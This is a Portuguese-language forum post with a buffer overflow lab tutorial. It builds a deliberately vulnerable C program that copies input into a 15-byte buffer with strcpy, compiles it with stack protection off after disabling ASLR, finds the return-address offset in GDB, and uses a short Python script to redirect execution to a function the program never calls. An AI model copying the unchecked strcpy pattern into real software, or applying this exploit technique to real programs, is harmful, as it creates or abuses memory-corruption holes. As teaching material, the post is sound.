Ir para conteúdo

Buffer Overflow - Executando uma função que não é chamada na execução do programa.


0xdutra

Posts Recomendados

Neste exemplo, vou utilizar um binário compilado para x86_x64. Porém, o mesmo exemplo pode ser reproduzido num ambiente x86, basta prestar atenção nos registradores.

Antes de iniciarmos, desabilite o ASLR.

sudo su - 
echo 0 > /proc/sys/kernel/randomize_va_space

Código fonte

Crie um arquivo main.c com o código abaixo.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int copytobuffer(char *input)
{
	char buffer[15];
	strcpy(buffer, input);

	return 0;
}

void letsprint()
{
	printf("0xdutra.com");
	exit(0);
}

int main(int argc, char *argv[])
{
	copytobuffer(argv[1]);
	return 0;
}

Repare que nosso programa não chama a função letsprint em nenhum momento. Vamos chamar ela atráves da exploração do buffer overflow.

Compilando o binário

Para compilar, vamos utilizar o GCC, caso não o tenha instalado, rode sudo apt install gcc.

gcc -fno-stack-protector -z execstack main.c -o main

Exploração

A exploração é bem simples, só precisamos controlar a execução do registrador RIP. também conhecido como EIP em ambientes x86. o RIP é o registrador responsável por controlar a próxima instrusão que será executada pela CPU.

Vamos utilizar o GDB para analisarmos o binário, caso não o tenha instalado, rode sudo apt install gdb.

gdb -q main

Agora, vamos precisar encontrar a quantidade de bytes necessário para sobreescrever os registradores até chegarmos no RIP. Como não estamos utilizando nenhuma ferramenta de fuzzing, o processo vai ser bem manual, aconselho você começar a partir dos 20 bytes, visto que nosso buffer possui 15 bytes de tamanho.

Com o gdb aberto, rode o comando abaixo.

run `perl -e 'print "A" x 20'`

buffer_overflow_x64_1.thumb.png.5e23f50b02fcf02f7300cd8af9ad8656.png

No meu caso, não foi o suficiente para sobreescrever o RIP, porém, conseguimos sobreescrever o RBP, isso signifca que estamos indo para o caminho certo, vamos aumentar mais alguns bytes.

Novamente, com o gdb aberto, rode o comando abaixo.

run `perl -e 'print "A" x 23'`

buffer_overflow_x64_2.thumb.png.e95b3f0ebd1ee54cb5bd275bf0a5b251.png

Olha que interessante, achamos a quantidade exata de bytes para começar a escrever dados no registrador RIP, veja que ele está apontando para um byte nulo. Agora, podemos colocar qualquer coisa no registrador.

Testando o controle do registrador.

run `perl -e 'print "A" x 23 ; print "B" x 6'`

buffer_overflow_x64_3.thumb.png.5ffa94f53c33b0745df21f8c3e020a60.png

Veja que agora no RIP aponta para um endereço x4242…que são exatamente os 6 bytes ‘B’ que colocamos no registrador.

Descobrindo o endereço da função

Continuando no GDB, vamos precisar descobrir o endereço da função que vamos colocar no RIP para ser executada.

Utilize o comando abaixo.

disass letsprint

buffer_overflow_x64_4.thumb.png.e29b8a290f5b6370d7047e10a27c46b6.png

No meu caso, o endereço de memória do início da função letsprint é o 0x000055555555517b.

Em outro terminal, criei um arquivo memory.py e cole o conteúdo abaixo.

#!/usr/bin/python

from struct import *

buffer = b''
buffer += b'a' * 23
buffer += pack("<Q", 0x000055555555517b)


f = open("input.txt", "w+")
f.write(buffer)
f.write('\n')

Lembra-se de trocar o endereço 0x000055555555517b pelo endereço que você encontrou.

Execute o comando python memory.py, um arquivo input.txt será criado no diretório que você está.

Agora, no gdb, execute o comando abaixo.

run $(cat input.txt)

buffer_overflow_x64_5.thumb.png.55629637d6ece50ea93850f475c6c943.png

Veja que a função letsprint foi executada com sucesso. Agora, vamos sair do gdb e executar o programa que compilamos.

quit

Agora

./main $(cat input.txt)

buffer_overflow_x64_6.thumb.png.6752fc8754ac16ccc76fda08994fe987.png

Referências

  • Hacking - The Art of Exploitation (Jon Erickson)

 

 

Editado por 0xdutra
  • Curtir 1
  • l33t 1
Link para o comentário
Compartilhar em outros sites

Participe da conversa

Você pode postar agora e se cadastrar mais tarde. Se você tem uma conta, faça o login para postar com sua conta.

Visitante
Responder

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emojis são permitidos.

×   Seu link foi automaticamente incorporado.   Mostrar como link

×   Seu conteúdo anterior foi restaurado.   Limpar o editor

×   Não é possível colar imagens diretamente. Carregar ou inserir imagens do URL.

  • Quem Está Navegando   0 membros estão online

    • Nenhum usuário registrado visualizando esta página.
×
×
  • Criar Novo...